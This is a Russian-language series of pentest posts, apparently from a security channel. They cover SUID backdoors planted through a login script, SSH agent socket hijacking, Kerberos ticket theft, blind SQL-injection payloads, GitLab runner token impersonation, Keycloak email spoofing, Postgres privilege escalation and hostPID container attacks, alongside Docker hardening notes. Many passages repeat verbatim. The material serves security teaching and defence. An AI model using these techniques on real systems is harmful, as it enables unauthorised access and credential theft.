Последнее время я подписался под большим количеством активностей и что-то разумное постить не успеваю. Простите :(.
Но могу рассказать, что одна из этих активностей - это разработка таска для CTFZone. Также я протестировал ряд тасков, и они все крутые! Присоединяйтесь - должно быть очень здорово!
https://ctftime.org/event/1688
Но могу рассказать, что одна из этих активностей - это разработка таска для CTFZone. Также я протестировал ряд тасков, и они все крутые! Присоединяйтесь - должно быть очень здорово!
https://ctftime.org/event/1688
ctftime.org
CTFZone 2022
The CTF competition will take place on August 24–26, during the much-anticipated OFFZONE conference. This year's cont...
👍4🔥1
Иногда хочется перенаправить трафик из python кода через Burp. Можно конечно вставлять в опции requests
Но это надо делать каждый раз и не удобно. А есть библиотеки, которые не имеют опции аналогичной verify=False вообще, например jira. Значит придется добавлять сертификат Burp в список даверенных. Тут нужно отметить что python для защиты соедениний с HTTPS ресурсами использует свой список доверенных корневых сертификатов.
Чтобы посмотреть где этот список находится нужно выполнить
Далее нам нужно добавить сертификат Burp в формате PEM в указанный файл (в моем случае это
Сертификат бурпа скачивается с https://burp в формате DER. переводим его в PEM с помощью openssl и добавляем в хранилище питона:
Все, теперь ошибок и ворнингов доверия к сертификату Burp больше не будет.
verify=False, и выключать warning с помощью:
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
Но это надо делать каждый раз и не удобно. А есть библиотеки, которые не имеют опции аналогичной verify=False вообще, например jira. Значит придется добавлять сертификат Burp в список даверенных. Тут нужно отметить что python для защиты соедениний с HTTPS ресурсами использует свой список доверенных корневых сертификатов.
Чтобы посмотреть где этот список находится нужно выполнить
import certifi
print(certifi.where())
Далее нам нужно добавить сертификат Burp в формате PEM в указанный файл (в моем случае это
/opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem ).Сертификат бурпа скачивается с https://burp в формате DER. переводим его в PEM с помощью openssl и добавляем в хранилище питона:
openssl x509 -inform DER -outform PEM -in cacert.der -out cacert.pem
cat cacert.pem >> /opt/homebrew/lib/python3.9/site-packages/certifi/cacert.pem
Все, теперь ошибок и ворнингов доверия к сертификату Burp больше не будет.
🔥9🤩1
Тут попался мисконфиг, в котором я мог вписать свои команды в один из файлов, которые выполняются для всех логинящихся в linux систему пользователей. Сервак этот использует много народу, кто заранее придет залогиниться я не знал, ловить и коллекционировать reverse shellы было не удобно, прописываться в authorized_keys как то грязно, поэтому я решил использовать схему с SUID бекдорами. Накатал стандартный повышатель привилегий, запихнул его в общедоступную папку и добавил в общий файл с командами примерно следующее:
Соответственно я получал возможность запускать процессы от имени всех зашедших пользователей.
Среди зашедших пользователей со временем появились админы сервера и как оказалось у них были права на sudo без пароля. Вот только из под моих шеллов sudo требовал пароль. Дело оказалось в том, что в sudoers были прописаны не сами админы а группы. А на создаваемые с помощью SUID-битов шеллы переезжали мои группы, а не группы целевого пользователя. Это логично, SUID-бит управляет только uid процесса, gid он никак не касается.
Нужна возможность получить на процесс группу, принадлежащую целевому пользователю, даже если её нет среди текущих групп процесса. И такую возможность предоставляет стандартный newgrp:
И мы в root-шелле.
cp /tmp/bezobidnii_file /home/my_folder/share/`id -u`_test
chmod u+s /home/my_folder/share/`id -u`_test
Соответственно я получал возможность запускать процессы от имени всех зашедших пользователей.
Среди зашедших пользователей со временем появились админы сервера и как оказалось у них были права на sudo без пароля. Вот только из под моих шеллов sudo требовал пароль. Дело оказалось в том, что в sudoers были прописаны не сами админы а группы. А на создаваемые с помощью SUID-битов шеллы переезжали мои группы, а не группы целевого пользователя. Это логично, SUID-бит управляет только uid процесса, gid он никак не касается.
Нужна возможность получить на процесс группу, принадлежащую целевому пользователю, даже если её нет среди текущих групп процесса. И такую возможность предоставляет стандартный newgrp:
newgrp sudo_group
sudo -i
И мы в root-шелле.
🔥9👍3👏3
Мы уже обсуждали аспекты безопасности разных типов экзекьютеров в CI/CD. Предположим разработчикам необходимо использовать общий Docker executor, по какой либо причине и мы ничего не можем с этим сделать. Хочется такой экзекьютор захарденить. Но прежде давайте вспомним какие угрозы несет такой экзекьютор. Основная проблема - в контейнер в котором крутится джоба монтируется docker API socket. Используя этот сокет разработчик может:
- делать docker exec в чужие контейнеры, воровать там секреты, подменять артефакты и т.д.
- делать docker cp с той же целью
- запустить privileged контейнер и выбраться на хост. И уже закрепившись на хосте он может реализовывать все те же угрозы.
Для защиты docker существует Docker OPA plugin. Этот плагин реализует набор правил, через который пролетают все HTTP-запросы, прилетающие в docker API socket. Вот только я не нашел готового набора правил для описанной задачи. Пришлось этот набор создать.
Попутно пришлось разобраться со всеми командами и API Docker. Кое-где пришлось повозиться чтобы было относительно безопасно, но при этом осталось работоспособно, особенно с volumes. Пока не видно как можно в нашем случае отказаться от docker stop и docker logs (хотя правила написаны но выключены, их можно просто включить).
Если вам интересно потестить - поставьте себе OPA плагин, залейте в качестве правил all.rego запустите
и попробуйте выбраться из контейнера или как-то повлиять на другие контейнеры.
P.S. По хорошему в CI/CD не надо использовать Docker. Фундаментальная проблема безопасности Docker в том, что он объединяет в себе два абсолютно разных функционала - сборки образов и рантайма для контейнеров. Есть инструменты, которые предназанчены только для сборки, например kaniko и buildah. Использование их в CI/CD предпочтительнее использования Docker.
P.P.S. Rego - язык не для людей. 😕
- делать docker exec в чужие контейнеры, воровать там секреты, подменять артефакты и т.д.
- делать docker cp с той же целью
- запустить privileged контейнер и выбраться на хост. И уже закрепившись на хосте он может реализовывать все те же угрозы.
Для защиты docker существует Docker OPA plugin. Этот плагин реализует набор правил, через который пролетают все HTTP-запросы, прилетающие в docker API socket. Вот только я не нашел готового набора правил для описанной задачи. Пришлось этот набор создать.
Попутно пришлось разобраться со всеми командами и API Docker. Кое-где пришлось повозиться чтобы было относительно безопасно, но при этом осталось работоспособно, особенно с volumes. Пока не видно как можно в нашем случае отказаться от docker stop и docker logs (хотя правила написаны но выключены, их можно просто включить).
Если вам интересно потестить - поставьте себе OPA плагин, залейте в качестве правил all.rego запустите
docker run -it -v /var/run/docker.sock:/var/run/docker.sock docker
и попробуйте выбраться из контейнера или как-то повлиять на другие контейнеры.
P.S. По хорошему в CI/CD не надо использовать Docker. Фундаментальная проблема безопасности Docker в том, что он объединяет в себе два абсолютно разных функционала - сборки образов и рантайма для контейнеров. Есть инструменты, которые предназанчены только для сборки, например kaniko и buildah. Использование их в CI/CD предпочтительнее использования Docker.
P.P.S. Rego - язык не для людей. 😕
GitHub
GitHub - sorokinpf/docker_opa: OPA policies for securing Docker API
OPA policies for securing Docker API. Contribute to sorokinpf/docker_opa development by creating an account on GitHub.
👍3🔥2🎉2😁1
Любой пентестер начиная с джуна знает что с Windows машин можно утащить сохраненные креды аутентифицированных пользователей из SAM/LSA secrets/памяти процесса LSASS.
Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.
1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.
Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.
TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.
Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂
2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.
Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.
Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.
И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.
Например зайти по ssh от чужого имени:
Работает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
Но в Linux такие случаи тоже бывают. И сейчас я опишу два варианта.
1. TGT билеты.
Что? TGT на Linux? Да! Если какой то системе на Linux сервере требуется интеграция с AD, то это вполне возможно. Для этого может быть использован стандартный пакет, например, krb5-user.
Пользователь может выполнить kinit, ввести свой пароль, и в директории /tmp образуется файл, имя которого начинается с krb5cc и с правами 600. И это TGT билет, причем в формате credentials cache (ccache), том самом который умеет понимать impacket.
TGT билет в /tmp может также образоваться и без вызова kinit руками, например, веб-приложение, интегрированное с AD, может вызвать kinit от имени пользователя.
Соответственно, если мы смогли рутануть сервак, мы можем утащить все сохраненные TGT билеты и использовать их в любых целях. Почти как на Windows 🙂
2. SSH Agent Socket
Администраторы и пользователи Linux часто используют проброс ssh agent для разных целей:
- загрузка файлов на сервер с помощью scp
- поход на другие сервера с помощью ssh
- работа с git
- и т.д.
Сама по себе эта концепция не так плоха с точки зрения безопасности, альтернарива - загрузка на удаленный сервер своего ssh-ключа. А так ключ остается на своей локальной тачке.
Но пока ssh-сессия активна, на сервере доступен Linux socket в директории, имя которой начинается с ssh_ в каталоге /tmp. Права на директорию разумеется 700.
И если мы рутанули сервак, то мы можем использовать любой из проброшенных сокетов, то есть по сути использовать ssh-ключи залогиненных пользователей.
Например зайти по ssh от чужого имени:
SSH_AUTH_SOCK=/tmp/ssh-AK33gp6fCF/agent.123456 ssh <user>@target_host.local
Работает только пока сессия активна, но, если мы знаем что мы хотим, мы можем написать скрипт, который будет дожидаться входа нужного пользователя и использовать SSH Agent Socket так как нужно. Немного не так удобно как с Windows, зато никакой возни с антивирусами 🙂
🔥10👍2🤔2
Вектор Conditional error boolean blind SQL-injection
При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.
В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.
Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.
Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет.
В Oracle нужно слегка модифицировать:
(не думаю что это новая тема, но я нигде не встречал)
При эксплуатации blind SQL-injection нам нужно уметь различать два ответа веб-приложения в зависимости от условия. Иногда для этого проще всего различать два состояния - произошла ошибка в СУБД или не произошла. То есть в зависимости от условия (нашего "вопроса" к СУБД) мы либо видим что произошла ошибка, либо веб-приложение работает в (относительно) штатном режиме. Такая ситуация в терминологии portswigger называется conditional error.
В читшите portswigger предложен ряд векторов для conditional error blind sql-injection.
Я хочу отметить еще один который работает во всех СУБД (в отличии от деления на 0) и на мой взгляд проще.
SELECT * FROM users where x='$input'
input=' and 1=(select 1 union select 2 where 1=1) --
Если условие (в примере 1=1) true, то подзапрос возвращает 2 строки и это ошибка СУБД. Если условие false, то строка возвращается одна и ошибки не будет.
В Oracle нужно слегка модифицировать:
input=' and 1=(select 1 FROM dual union select 2 from dual where 1=0) --
(не думаю что это новая тема, но я нигде не встречал)
portswigger.net
SQL injection cheat sheet | Web Security Academy
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL ...
👍6🔥6
Мои коллеги и друзья пилят публичные коллективные собеседования по внутреннему пентесту. Формат очень интересный, залезают в самый глубокие тонкости и самые сложные вопросы Windows сетей и атак на них. Если интересна тема - обязательно залетайте. Если не можете онлайн, рекомендую прослушать записи прошлых собесов, доступных на подкастах Яндекса.
Forwarded from RedTeam brazzers
Продолжаем серию наших ламповых встреч в формате собеседования. На подходе наша четвертая по счету и заключительная встреча в этом формате с подписчиками канала. Как всегда, я и Роман зададим вам несколько вопросов на темы:
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
- Тировая архитектура;
- Системы, "ломающие" тировую архитектуру;
- Обход защиты конечных точек.
Если вы пропустили предыдущие выпуски, то можете послушать их на яндексе.
До встречи сегодня (8 января) в 18:00 по мск.
🔥6
Вот слайды моего рассказа на конференции БЕКОН.
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
Рассказывал про проблемы разделяемых docker executor и о том как эти экзекьюторы можно захарденить
👍5
Forwarded from k8s (in)security (Дмитрий Евдокимов)
06_OPA_с_shared_Docker_executor,_Павел_Сорокин,_OZON.pdf
12.4 MB
"OPA с shared Docker executor", Павел Сорокин, OZON
🔥10
Опубликовано мое выступление с конфы БЕКОН.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
Видео других докладов с БЕКОНа можно посмотреть в канале k8s (in)security
Относительно самой конфы могу сказать что она мне понравилась. Были только технические доклады без шелухи типа стендов, конкурсов и т.д. Доклады были на интересные темы, организаторы хорошо подошли к их отбору. Кое-что новое я для себя вынес. В общем спасибо, за организацию, буду ждать БЕКОН-2.
YouTube
OPA с shared Docker executor - Павел Сорокин | конференция БеКон
🔹“OPA с shared Docker executor” Павел Сорокин, OZON🔹
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
Харденим разделяемый docker executor в multi-team/multi-tenancy CI/CD.
⚡️7 июня 2023 года в Москве состоялась техническая конференция по БЕзопасности КОНтейнеров и контейнерных сред БеКон. Конференция…
🔥10👍3
Буду вести воркшоп на offzone по атакам на CI/CD
Telegram
OFFZONE
🧐 Нам нужно больше воркшопов — «Ломаем CI/CD»
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
Рассмотрим особенности безопасности компонентов CI/CD и пайплайнов, взлом которых часто остается за рамками классических пентестов.
Для участия потребуются базовые знания GitLab CI, Kubernetes и Docker.
Тренер:…
🔥22👍3
Gitlab раннеры "аутентифицируются" в gitlab с помощью специальных токенов. Токены хранятся в конфиге раннеров и по ним gitlab понимает какой именно раннер пришел за задачей.
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
А теперь представим что этот токен каким-то образом утек. Что тогда может сделать атакующий?
Очевидная идея - отправить gitlab токен и сказать что мы - это тот самый раннер. Ну и попытаться получить себе джобы, которые шедулятся gitlab'ом на оригинальный раннер, вместе со всеми переменными среды, артефактами, gitlab variables и т.д.
Я решил это проверить: достал токен с работающего раннера, и чтобы не разбираться в протоколах gitlab установил на другой сервер gitlab-runner и прописал ему этот токен.
Оказалось что в такой конфигурации, когда одновременно два раннера работают с одним токеном, джоба может попасть в любой из них. Из моих экспериментов следует, что джобу получит тот раннер, который первый придет в gitlab за задачей.
За частоту походов раннера за новыми задачами в gitlab отвечает параметр в конфиге раннера check_interval, это целочисленный параметр в секундах, по умолчанию 3. Если атакующий укажет в конфигурации своего раннера check_interval=1, то он будет получать задачи в среднем в 3 раза чаще чем оригинальный раннер.
Чтобы увеличить вероятность получения джобы на свой поддельный раннер атакующий может определить сразу много (допустим N) одинаковых "логических" раннеров в конфигурационном файле gitlab-runner, тогда раннер будет ходить за задачами в gitlab каждые check_interval/N секунд.
Подробнее про то как работает check_interval в доке
👍19🔥5
По умолчанию в Keycloak пользователям по адресу
В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
https://keycloak/realms/<realm_name>/account доступен довольно аскетичный интерфейс личного кабинета (на скриншоте). В этом маленьком кабинете можно сменить себе в том числе email.
И это - проблема безопасности! Если клиент OIDC/OAuth, подключенный к Keycloak, завязывает своих пользователей не на поле preferred_username из токена, а на email, то его можно обмануть.
Ставим себе чужой email, перезаходим в клиента и получаем права другого пользователя.
Надо только учитывать что если требуемый email уже активен у одного из пользователей в Keycloak, то установить его себе не получится. Однако можно:
1) Устанавливать себе email недавно уволенных или по другим причинам удаленных из keycloak сотрудников, возможно они будут активны в клиенте.
2) Устанавливать себе email системных учеток, которые есть в клиентах, например, в клиенте может быть встроенная учетка администратора с email вбитом "от балды", вроде
[email protected].Один из возможных способов защиты при использовании LDAP как User Federation - установить Edit Mode в значение READ_ONLY.
👍8🔥4😱3
Postgres Privilege Escalation
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
Тут неожиданно выстрелила старая тема с повышение в Postgres, напомню о ней.
В Postgres функция может быть определена с двумя типами исполнения SECURITY INVOKER (по умолчанию) и SECURITY DEFINER. Функции первого типа выполняются с правами текущего пользователя, вторые же выполняются с правами того, кто создал функцию. По сути аналог SUID бита.
Также в Postgres есть конфигурация search_path, она определяет в каком порядке Postgres обходит имеющиеся схемы в поиске функций и операторов, если схема не указана явна.
И если при определении функции с SECURITY DEFINER не указан также search_path, применяемый внутри этой функции, то атакующий с низкими правами может переопределить функцию или оператор, который применяется в функции с SECURITY DEFINER, что приведет к выполнению его функции или оператора с правами создателя функции. Если это пользователь postgres, то можно получить права SUPERUSER или добавить себе право исполнения команд ОС pg_execute_server_program.
Подробнее с примерами по ссылке
На мой взгляд практически полная аналогия с классическим повышением привилегий в Linux, когда приложение с SUID битом, делает что-то типа
system("cat file"), при этом не сбрасывая переменную PATH.CYBERTEC PostgreSQL | Services & Support
Abusing SECURITY DEFINER functions in PostgreSQL
UPDATED Aug. 2023: How SECURITY DEFINER PostgreSQL functions can be abused for privilege escalation attacks and how you can protect yorself.
👍6
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов/proc/PID/root/var/run/secrets/ kubernetes.io/serviceaccount/token
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте разбираться.
Во-первых, можно делать ps и посмотреть список процессов с параметрами командных строк.
Во-вторых, можно обращаться к файловой системе /proc/PID/* других процессов. Тут неочевидный момент - при доступе к интересным файлам, например к /proc/PID/environ (содержащим весь environment процесса), ОС проверяет ptrace access mode. Подробно эта проверка описана в конце мана ptrace .
Выпишу основное.
Есть два уровня доступа:
- менее привилегированный PTRACE_MODE_READ
- более привилегированный PTRACE_MODE_ATTACH
Полный список файлов в /proc/PID/ с указанием того какой уровень доступа к ним требуется перечислен в мане proc
Базовая проверка для обоих уровней доступа на уровне ОС делается примерно одинаково, основное:
- наборы UID и GID запрашивающего и целевого процесса должны совпадать
- набор permitted capabilities целевого процесса должен быть подмножеством набора effective capabilities запрашивающего процесса
- наличие у запрашивающего процесса CAP_SYS_PTRACE позволяет обойти указанные выше ограничения
Также в проверке могут участвовать LSM, например apparmor и yama (последний работает только для PTRACE_MODE_ATTACH), но это мы рассмотрим в следующем посте. CAP_SYS_PTRACE тоже рассмотрим отдельно, с ним тоже есть тонкости.
А вот что мы можем делать если у нас нет CAP_SYS_PTRACE? Так вот, немного утрируя мы можем получить доступ уровня PTRACE_MODE_READ во все контейнеры, запущенные с таким же набором capabilities, как и наш, или более узким, а также они должны быть запущены под тем же UID. Но это ведь обычная история в kubernetes/docker, там все контейнеры/поды как правило стартуют с одним и тем же набором capabilities и зачастую от одинакового пользователя (ниже считаем что это root).
Из интересного можно читать /proc/PID/environ, но даже не это самое прикольное. Под PTRACE_MODE_READ также подпадают /proc/PID/root и /proc/PID/cwd. C их помощью мы можем попасть в файловую систему целевого контейнера. И если мы root, то мы в ней можем не только читать но и писать туда! И это без CAP_SYS_PTRACE и с apparmor/yama запущенными по умолчанию!
А значит мы можем:
1) читать SA-токены из других подов
2) попытаться добиться RCE в другом поде путем записи в /etc/ld.so.preload, /root/.ssh/authorized_keys, /etc/crontab и т.д. и т.п.
🔥8👍1
hostPID: true и --pid=host. Часть 2
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (cat /proc/sys/kernel/yama/ptrace_scope ) установлено в значение 1. Это значит что получить доступ уровня PTRACE_MODE_ATTACH может только процесс, являющийся родителем целевого. В ситуации атакующего, запустившего под с hostPID:true, это разумеется не возможно и Yama эффективно блокирует отладку других процессов хоста или соседних подов.
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Часть 1
Yama
Давайте теперь обсудим что же еще влияет на возможность доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH.
Первый из списка - это Linux Security Module (LSM) Yama (описание Yama). Yama участвует в проверках только если запрашивается доступ уровня PTRACE_MODE_ATTACH, запросы уровня PTRACE_MODE_READ игнорируются модулем Yama.
По умолчанию значение единственного параметра Yama ptrace_scope (
При наличии capability CAP_SYS_PTRACE проверки модуля Yama игнорируются. Впрочем как и прочие проверки, указанные в первой части.
Таким образом Yama:
- влияет только на PTRACE_MODE_ATTACH (отладку) и не влияет на PTRACE_MODE_READ (чтение /proc/PID/environ, /proc/PID/root и т.д.)
- по умолчанию позволяет получать PTRACE_MODE_ATTACH только к дочерним процессам
- с позиции атакующего для выполнения отладки необходимо либо чтобы ptrace_scope был установлен в 0, либо чтобы была возможность добавить в свой под CAP_SYS_PTRACE
Telegram
Нарыл
hostPID: true и --pid=host
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
Два параметра, указанных выше приводят к запуску контейнеров в PID-неймспейсе хоста в kubernetes и docker соответственно.
Запуск в PID-неймспейсе хоста позволяет получать доступ ко всем процессам хоста. Но вот какой доступ? Давайте…
🔥6👍1
hostPID: true и --pid=host. Часть 3
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
Но, очевидно, это послабление открывает доступ не только ко всем процессам в контейнере, но и ко всем процессам во всех контейнерах, крутящихся на той же ноде, они все по умолчанию запущены под одним и тем же профилем AppArmor.
Для того чтобы запустить контейнер с отключенным AppArmor нужно в docker добавить к команде run флаг
AppArmor'у плевать на CAP_SYS_PTRACE, поэтому если атакующий может запустить под с hostPID: true и CAP_SYS_PTRACE, но неможет отключить AppArmor - его область атаки - только процессы других контейнеров. Хостовые процессы, запущенные без AppArmor будут ему не доступны.
Часть 1
Часть 2
AppArmor
Еще один LSM, участвующий в защите от доступа к целевому процессу с уровнем ptrace access mode PTRACE_MODE_READ или PTRACE_MODE_ATTACH - AppArmor.
В конфигурации по умолчанию в containerd/docker применяется профиль AppArmor, полученный на основе шаблона. Профиль по умолчанию в containerd называется cri-containerd.apparmor.d, а в docker - docker-default.
Посмотреть имя текущего профиля AppArmor изнутри контейнера можно в файле /proc/self/attr/current
Разрешение для ptrace в шаблоне указано в последней строке:
# suppress ptrace denials when using 'docker ps' or using 'ps' inside a container
ptrace (trace,read,tracedby,readby) peer={{.Name}},
Данная строка означает что можно получать доступ trace (PTRACE_MODE_ATTACH) и read (PTRACE_MODE_READ) только в процессы, запущенные под одноименным профилем AppArmor. Аналогично с входящими запросами в наш процесс на отладку. В комментарии сказано зачем это послабление добавлено - чтобы можно было работать с процессами в рамках одного контейнера. Понятно, что внутри контейнера все процессы под одним профилем.
